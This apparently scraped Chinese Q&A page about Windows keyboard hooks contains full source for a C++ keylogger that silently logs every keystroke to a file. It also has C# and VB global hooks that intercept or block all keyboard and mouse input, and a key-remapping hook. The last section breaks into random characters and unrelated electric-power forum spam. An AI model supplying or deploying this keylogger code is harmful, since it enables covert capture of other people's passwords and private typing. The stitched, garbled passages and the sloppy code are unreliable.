键盘钩子程序(谁能解释一下什么键盘钩子是什么东东啊,,,)

本文目录
- 谁能解释一下什么键盘钩子是什么东东啊,,,
- c++实现键盘记录仪(键盘钩子)
- C# WinForm键盘钩子
- 用C#做键盘敲击次数记录求代码
- 用vb键盘钩子写一个键盘记录的代码,30分
- (编程)高分求源码,易语言:键盘钩子禁止键盘输入!
- 键盘钩子函数掉线
- 中了键盘鼠标钩子程序怎么办
谁能解释一下什么键盘钩子是什么东东啊,,,
这个其实是说软件。。。就是响应你键盘按键的一种电脑程序。。。就是你只要使用键盘。。那么键盘钩子就一直在运行的
键盘钩子 是一个专门截获键盘输入信息的木马程序。专门偷窃密码用的 如果没发现钩子 应该说句恭喜。
c++实现键盘记录仪(键盘钩子)
啥都不说,先上源码
#include 《windows.h》
#include 《Winuser.h》
#include 《string》
#include 《fstream》
#include 《iostream》
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = "";
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key 》=186 && Key 《=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if(IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if(IS)
KeyString = "《";
else
KeyString = ",";
break;
case 189:
if(IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if(IS)
KeyString = "》";
else
KeyString = ".";
break;
case 191:
if(IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if(IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if(IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if(IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if(IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if(IS)
KeyString = ’"’;
else
KeyString = "’";
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = "";
else if (Key == VK_F1) // F1至F12
KeyString = "";
else if (Key == VK_F2)
KeyString = "";
else if (Key == VK_F3)
KeyString = "";
else if (Key == VK_F4)
KeyString = "";
else if (Key == VK_F5)
KeyString = "";
else if (Key == VK_F6)
KeyString = "";
else if (Key == VK_F7)
KeyString = "";
else if (Key == VK_F8)
KeyString = "";
else if (Key == VK_F9)
KeyString = "";
else if (Key == VK_F10)
KeyString = "";
else if (Key == VK_F11)
KeyString = "";
else if (Key == VK_F12)
KeyString = "";
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = "";
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = "";
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = "";
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = "";
//-------------------------------------//
//控制键
else if (Key == 8) //《- 回格键
KeyString = "";
else if (Key == VK_RETURN) // 回车键、换行
KeyString = "\n";
else if (Key == VK_SPACE) // 空格
KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = "";
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = "";
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = "";
else if (Key == VK_LCONTROL) // 左控制键
KeyString = "";
else if (Key == VK_RCONTROL) // 右控制键
KeyString = "";
else if (Key == VK_LMENU) // 左换档键
KeyString = "";
else if (Key == VK_LMENU) // 右换档键
KeyString = "";
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = "";
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = "";
else if (Key == VK_APPS) // 键盘上 右键
KeyString = "右键";
else if (Key == VK_INSERT) // 插入
KeyString = "";
else if (Key == VK_DELETE) // 删除
KeyString = "";
else if (Key == VK_HOME) // 起始
KeyString = "";
else if (Key == VK_END) // 结束
KeyString = "";
else if (Key == VK_PRIOR) // 上一页
KeyString = "";
else if (Key == VK_NEXT) // 下一页
KeyString = "";
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = "";
else if (Key == VK_CLEAR) // Clear
KeyString = "";
else if (Key == VK_SELECT) //Select
KeyString = "";
else if (Key == VK_PRINT) //Print
KeyString = "";
else if (Key == VK_EXECUTE) //Execute
KeyString = "";
//----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = "";
else if (Key == VK_RIGHT)
KeyString = "";
else if (Key == VK_UP)
KeyString = "";
else if (Key == VK_DOWN)
KeyString = "";
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = "";
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = ".";
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------//
//-------------------------------------------//
//*对字母的大小写进行判断*//
else if (Key 》=97 && Key 《= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key - 32;
}
else// 大写没有锁定
{
if(IS) // 按下Shift键: 大写字母
KeyString = Key - 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
}
else if (Key 》=48 && Key 《= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key 》=65 && Key 《=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
}
else // 大写没有锁定:a-z
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
int main()
{
string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
string TempString = "";
fstream FStream;
cout《《"现在开始键盘记录";
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
for(int i = 8; i 《=255; i++)
{
if(GetAsyncKeyState(i)&1 ==1)
{
TempString = GetKey (i);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
}
}
}
}
C# WinForm键盘钩子
你把MyHookProc函数改一下就可以了,
IntPtr MyHookProc(int code, IntPtr wparam, IntPtr lparam)
{
if( code 《 0 ) return CallNextHookEx(_nextHookPtr,code, wparam, lparam); //返回,让后面的程序处理该消息
return (IntPtr) 1; //直接返回了,该消息就处理结束
}
实现过程:
1、新建一个C#的WindowsApplication
2、在Form1中,添加下面一些变量:
internal enum HookType //枚举,钩子的类型
{
//MsgFilter = -1,
//JournalRecord = 0,
//JournalPlayback = 1,
Keyboard = 2,
//GetMessage = 3,
//CallWndProc = 4,
//CBT = 5,
//SysMsgFilter = 6,
//Mouse = 7,
//Hardware = 8,
//Debug = 9,
//Shell = 10,
//ForegroundIdle = 11,
//CallWndProcRet = 12,
//KeyboardLL = 13,
//MouseLL = 14,
};
IntPtr _nextHookPtr; //记录Hook编号
3、在Form1中引入必须的API
static extern int GetCurrentThreadId(); //取得当前线程编号的API
internal extern static void UnhookWindowsHookEx(IntPtr handle); //取消Hook的API
internal extern static IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hinstance, int threadID); //设置Hook的API
internal extern static IntPtr CallNextHookEx(IntPtr handle, int code, IntPtr wparam, IntPtr lparam); //取得下一个Hook的API
4、声明一个实现的委托
internal delegate IntPtr HookProc(int code, IntPtr wparam, IntPtr lparam);
5、添加自己的Hook处理过程
IntPtr MyHookProc(int code, IntPtr wparam, IntPtr lparam)
{
if( code 《 0 ) return CallNextHookEx(_nextHookPtr,code, wparam, lparam); //返回,让后面的程序处理该消息
if( wparam.ToInt32() 《96 || wparam.ToInt32()》105 || wparam.ToInt32()《》13 )
//如果用户输入的不是0-9和回车就拦截
{
return (IntPtr) 1; //直接拦截,该消息就处理结束了
}
else
{
return IntPtr.Zero; //返回,让后面的程序处理该消息
}
}
6、添加加入Hook链和从Hook链中取消的函数
public void SetHook()
{
if( _nextHookPtr != IntPtr.Zero ) //已经勾过了
return;
HookProc myhookProc = new HookProc(MyHookProc); //声明一个自己的Hook实现函数的委托对象
_nextHookPtr = SetWindowsHookEx((int)HookType.Keyboard, myhookProc , IntPtr.Zero , GetCurrentThreadId()); //加到Hook链中
}
public void UnHook()
{
if( _nextHookPtr != IntPtr.Zero )
{
UnhookWindowsHookEx(_nextHookPtr); //从Hook链中取消
_nextHookPtr = IntPtr.Zero;
}
}
7、在Form1的Load事件中添加 SetHook() , 在Form1的closing 事件中添加 UnHook()
private void Form1_Load(object sender, System.EventArgs e)
{
SetHook();
}
private void Form1_Closing(object sender, System.ComponentModel.CancelEventArgs e)
{
UnHook();
}
用C#做键盘敲击次数记录求代码
以下是整理源码。
static int hKeyboardHook = 0; //键盘钩芹液差子句柄
public const int WH_KEYBOARD_LL = 13; //处理键盘消息埋乎
private const int WM_KEYDOWN = 0x100;//键盘按下
//声明键盘钩子事件类型.
HookProc KeyboardHookProcedure;
//声明键盘钩子的封送结构类型
public class KeyboardHookStruct
{
public int vkCode; //表示一个在1到254间嫌皮的虚似键盘码
}
//装置钩子的函数
public static extern int SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hInstance, int threadId);
//卸下钩子的函数
public static extern bool UnhookWindowsHookEx(int idHook);
//下一个钩挂的函数
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
public static extern int ToAscii(int uVirtKey, int uScanCode, byte lpwTransKey, int fuState);
public static extern int GetKeyboardState(byte pbKeyState);
private static extern IntPtr GetModuleHandle(string lpModuleName);
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
//先前按下的键
public List《Keys》 preKeys = new List《Keys》();
int b;
//析构函数.
~Form1()
{
Stop();
}
public void Start()
{
//安装键盘钩子
if (hKeyboardHook == 0)
{
KeyboardHookProcedure = new HookProc(KeyboardHookProc);
Process curProcess = Process.GetCurrentProcess();//获取新的 Process 组件并将其与当前活动的进程关联
ProcessModule curModule = curProcess.MainModule;
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, GetModuleHandle(curModule.ModuleName), 0);
if (hKeyboardHook == 0)
{
Stop();
throw new Exception("SetWindowsHookEx ist failed.");
}
b = 0;
}
}
public void Stop()
{
bool retKeyboard = true;
if (hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
//如果卸下钩子失败
if (!(retKeyboard)) throw new Exception("UnhookWindowsHookEx failed.");
}
int num = 0;//记录次数
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (wParam == WM_KEYDOWN)
{
KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure(lParam, typeof(KeyboardHookStruct));
Keys keyData = (Keys)MyKeyboardHookStruct.vkCode;
preKeys.Add(keyData);
num++;
label1.Text = Convert.ToString(num);
b = 1;
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
private void Form1_Load(object sender, EventArgs e)
{
Start();
}
用vb键盘钩子写一个键盘记录的代码,30分
一、新建一个ActiveX Dll工程,名字栏里取名为SysHook
二、添加一个模块,取名为mHook,添加代码如下:
Option Explicit
Type POINTAPI
x As Long
y As Long
End Type
Type TMSG
hwnd As Long
message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpDest As Any, lpSource As Any, ByVal cBytes As Long)
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public hJournalHook As Long, hAppHook As Long
Public SHptr As Long
Public Const WM_CANCELJOURNAL = &H4B
Public Function JournalRecordProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode 《 0 Then
JournalRecordProc = CallNextHookEx(hJournalHook, nCode, wParam, lParam)
Exit Function
End If
ResolvePointer(SHptr).FireEvent lParam
Call CallNextHookEx(hJournalHook, nCode, wParam, lParam)
End Function
Public Function AppHookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If nCode 《 0 Then
AppHookProc = CallNextHookEx(hAppHook, nCode, wParam, lParam)
Exit Function
End If
Dim msg As TMSG
CopyMemory msg, ByVal lParam, Len(msg)
Select Case msg.message
Case WM_CANCELJOURNAL
If wParam = 1 Then ResolvePointer(SHptr).FireEvent WM_CANCELJOURNAL
End Select
Call CallNextHookEx(hAppHook, nCode, wParam, ByVal lParam)
End Function
Private Function ResolvePointer(ByVal lpObj&) As cSystemHook
Dim oSH As cSystemHook
CopyMemory oSH, lpObj, 4&
Set ResolvePointer = oSH
CopyMemory oSH, 0&, 4&
End Function
三、把工程自动建立的Class1类模块改名为cSystemHook,添加代码如下:
Option Explicit
Public Event MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Public Event KeyDown(KeyCode As Integer, Shift As Integer)
Public Event KeyUp(KeyCode As Integer, Shift As Integer)
Public Event SystemKeyDown(KeyCode As Integer)
Public Event SystemKeyUp(KeyCode As Integer)
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Function GetAsyncKeyState% Lib "user32" (ByVal vKey As Long)
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_MOUSEMOVE = &H200
Private Const WM_LBUTTONDOWN = &H201
Private Const WM_LBUTTONUP = &H202
Private Const WM_LBUTTONDBLCLK = &H203
Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP = &H205
Private Const WM_RBUTTONDBLCLK = &H206
Private Const WM_MBUTTONDOWN = &H207
Private Const WM_MBUTTONUP = &H208
Private Const WM_MBUTTONDBLCLK = &H209
Private Const WM_MOUSEWHEEL = &H20A
Private Const WM_SYSTEMKEYDOWN = &H104
Private Const WM_SYSTEMKEYUP = &H105
Private Const WH_JOURNALRECORD = 0
Private Const WH_GETMESSAGE = 3
Private Type EVENTMSG
wMsg As Long
lParamLow As Long
lParamHigh As Long
msgTime As Long
hWndMsg As Long
End Type
Dim EMSG As EVENTMSG
Public Function SetHook() As Boolean
If hJournalHook = 0 Then hJournalHook = SetWindowsHookEx(WH_JOURNALRECORD, AddressOf JournalRecordProc, App.hInstance, 0)
If hAppHook = 0 Then hAppHook = SetWindowsHookEx(WH_GETMESSAGE, AddressOf AppHookProc, App.hInstance, App.ThreadID)
SetHook = True
End Function
Public Sub RemoveHook()
UnhookWindowsHookEx hAppHook
UnhookWindowsHookEx hJournalHook
End Sub
Private Sub Class_Initialize()
SHptr = ObjPtr(Me)
End Sub
Private Sub Class_Terminate()
If hJournalHook Or hAppHook Then RemoveHook
End Sub
Friend Function FireEvent(ByVal lParam As Long)
Dim i%, j%, k%
Dim s As String
If lParam = WM_CANCELJOURNAL Then
hJournalHook = 0
SetHook
Exit Function
End If
CopyMemory EMSG, ByVal lParam, Len(EMSG)
Select Case EMSG.wMsg
Case WM_KEYDOWN
j = 0
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) ’fixed by JJ
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
RaiseEvent KeyDown(k, j)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) ’fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_KEYUP
j = 0 ’fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) ’fixed by JJ
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
RaiseEvent KeyUp(k, j)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) ’fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_MOUSEMOVE
i = 0 ’fixed by JJ
If GetAsyncKeyState(vbKeyLButton) Then i = (i Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyRButton) Then i = (i Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMButton) Then i = (i Or 4) ’fixed by JJ
j = 0 ’fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then j = (j Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then j = (j Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then j = (j Or 4) ’fixed by JJ
RaiseEvent MouseMove(i, j, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_LBUTTONDOWN, WM_RBUTTONDOWN, WM_MBUTTONDOWN
i = 0 ’fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) ’fixed by JJ
RaiseEvent MouseDown(2 ^ ((EMSG.wMsg - 513) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_LBUTTONUP, WM_RBUTTONUP, WM_MBUTTONUP
i = 0 ’fixed by JJ
If GetAsyncKeyState(vbKeyShift) Then i = (i Or 1) ’fixed by JJ
If GetAsyncKeyState(vbKeyControl) Then i = (i Or 2) ’fixed by JJ
If GetAsyncKeyState(vbKeyMenu) Then i = (i Or 4) ’fixed by JJ
RaiseEvent MouseUp(2 ^ ((EMSG.wMsg - 514) / 3), i, CSng(EMSG.lParamLow), CSng(EMSG.lParamHigh))
Case WM_SYSTEMKEYDOWN
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
If k 《》 vbKeyMenu Then RaiseEvent SystemKeyDown(k)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) ’fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case WM_SYSTEMKEYUP
s = Hex(EMSG.lParamLow)
k = (EMSG.lParamLow And &HFF)
If k 《》 vbKeyMenu Then RaiseEvent SystemKeyUp(k)
s = Left$(s, 2) & Right$("00" & Hex(k), 2) ’fixed by JJ
EMSG.lParamLow = CLng("&h" & s)
CopyMemory ByVal lParam, EMSG, Len(EMSG)
Case Else
End Select
End Function
四、千万别望了保存(否则你要后悔的),编译生成DLL,然后可以测试了,做一个普通的工程,添加引用SysHook,在窗体中添加测试代码(嘿嘿,可能你会吃点苦头):
Option Explicit
Dim WithEvents sh As cSystemHook
Private Sub Form_Load()
Set sh = New cSystemHook
sh.SetHook
End Sub
Private Sub Form_Unload(Cancel As Integer)
sh.RemoveHook
Set sh = Nothing
End Sub
Private Sub sh_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
If Button = 1 Then
MsgBox "你按了左键"
End If
If Button = 2 Then
MsgBox "你按了右键"
End If
End Sub
五、接着你可以试试全局的下列事件(记住刚才的教训,可要小心哦):
Private Sub sh_KeyDown(KeyCode As Integer, Shift As Integer)
End Sub
Private Sub sh_KeyUp(KeyCode As Integer, Shift As Integer)
End Sub
MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
End Sub
Private Sub sh_MouseUp(Button As Integer, Shift As Integer, x As Single, y As Single)
End Sub
Private Sub sh_SystemKeyDown(KeyCode As Integer)
End Sub
Private Sub sh_SystemKeyUp(KeyCode As Integer)
End Sub
(编程)高分求源码,易语言:键盘钩子禁止键盘输入!
易语言没有写过,不过又C++的全局键盘钩子,你在键盘钩子的回调函数中直接返回1就是了吧。
这里有完整C++键盘钩子的源代码,实现改键的。原理都差不多啦。。
LRESULT
CALLBACK
LowLevelKeyboardProc(
int
code,
WPARAM
wParam,
LPARAM
lParam)
{
if(code
==
HC_ACTION)
{
PKBDLLHOOKSTRUCT
pStruct
=
(PKBDLLHOOKSTRUCT)lParam;
DWORD
dwIndex
=
0;
switch
(pStruct-》vkCode)
{
case
L’A’:
case
L’a’:
dwIndex
=
0;
break;
case
L’S’:
case
L’s’:
dwIndex
=
1;
break;
case
L’D’:
case
L’d’:
dwIndex
=
2;
break;
case
L’W’:
case
L’w’:
dwIndex
=
3;
break;
default:
return
CallNextHookEx(g_hHook,
code,
wParam,
lParam);
}
if
(wParam
==
WM_KEYDOWN)
{
keybd_event(g_bVK,
MapVirtualKey(g_bVK,
0),
0,
0);
}
else
if
(wParam
==
WM_KEYUP)
{
keybd_event(g_bVK,
MapVirtualKey(g_bVK,
0),
KEYEVENTF_KEYUP,
0);
}
return
TRUE;
}
return
CallNextHookEx(g_hHook,
code,
wParam,
lParam);
}完整的代码就去这里看吧:
***隐藏网址***
键盘钩子函数掉线
键盘钩子函数是一种常用的Windows编程技术,用于监控和拦截键盘输入事件。如果键盘钩子函数掉线,可能会导致键盘输入无法正常响应,影响用户的正常使用。
1、键盘钩子函数掉线的原因可能有很多,如系统故障、程序崩溃、病毒感染等。
2、解决方法可以尝试重新启动计算机、卸载并重新安装相关程序、使用杀毒软件进行扫描和清除病毒等。
3、为了避免键盘钩子函数掉线,建议定期对计算机进行维护和保养,确保系统和程序的稳定性。
中了键盘鼠标钩子程序怎么办
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程序,window消息或特定事件。钩子实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。ZG电力自动化9 e" g# T’ Z3 Y3 T" I* EZG电力自动化,变电检修,继电保护,远动通信,电力技术,高压试验,输电线路,变电运行,整定计算,规章规程,电力论坛,电力技术,高压实验,电网,供电局,供电公司,电业局. J! l- f+ |. ^* H’ o+ }3 u/ Q& _: _: W- F$ P HZG电力自动化不仅为电力职工提供一个可以交流的网络平台而且也为电力技术的爱好者和电力大中专学生提供一个可以展现自我的一个舞台。这个平台与传统知识交流平台相比具有:获取信息速度快,信息量大,互动性强,成本低。这几个特性是传统知识交流平台所不具备的。ZG电力自动化就是要利用这种互动方式为大家铺设桥梁,使各位朋友的技术共同进步、提高!可能上面的官方定义对一部分读者理解有点困难,ZG电力自动化,变电检修,继电保护,远动通信,电力技术,高压试验,输电线路,变电运行,整定计算,规章规程,电力论坛,电力技术,高压实验,电网,供电局,供电公司,电业局6 }& e8 W" X3 w1 P( \# Z4 }) P8 Y其实,钩子就像是一切程序的“先知”,一个实现了钩子的程序自身虽然也是普通程序,但是它总能在别的程序得到数据之前就已经知道了一切,这是为什么呢?

更多文章:
linux命令大全中的chown(chown在linux下是什么命令)
2025年10月21日 11:00
宝宝起名用什么颜色比较好呀?用赵清澄给宝宝起名好不好女孩子用颜色起名有哪些
2025年7月21日 13:15
帕罗西汀吃了6天实在受不了(第一天吃帕罗西汀有点难受,可以停吗)
2025年8月3日 17:00
批处理命令关闭密码保护共享(怎样写批处理文件关闭系统的默认共享)
2026年9月7日 23:45
汉字二进制编码表(汉字国标码规定了一级汉字和二级汉字各多少个)
2025年10月12日 00:30
swing帮助文档(eclipse里怎么查看jdk的帮助文档)
2025年6月27日 01:15
cadence 步频(在跑步过程中,如何利用好步幅和步频之间的平衡点)
2026年2月8日 00:30
textarea显示全部内容(在textarea中输入内容并显示内容(html等也当字符显示))
2026年3月17日 22:45
下拉列表用什么标签(下拉菜单必须用button标签,不可以用a标签)
2026年5月23日 17:45
getchar()的功能和gets(C语言中单独一行getchar()然后下一行gets是什么用法求解)
2026年3月1日 08:45














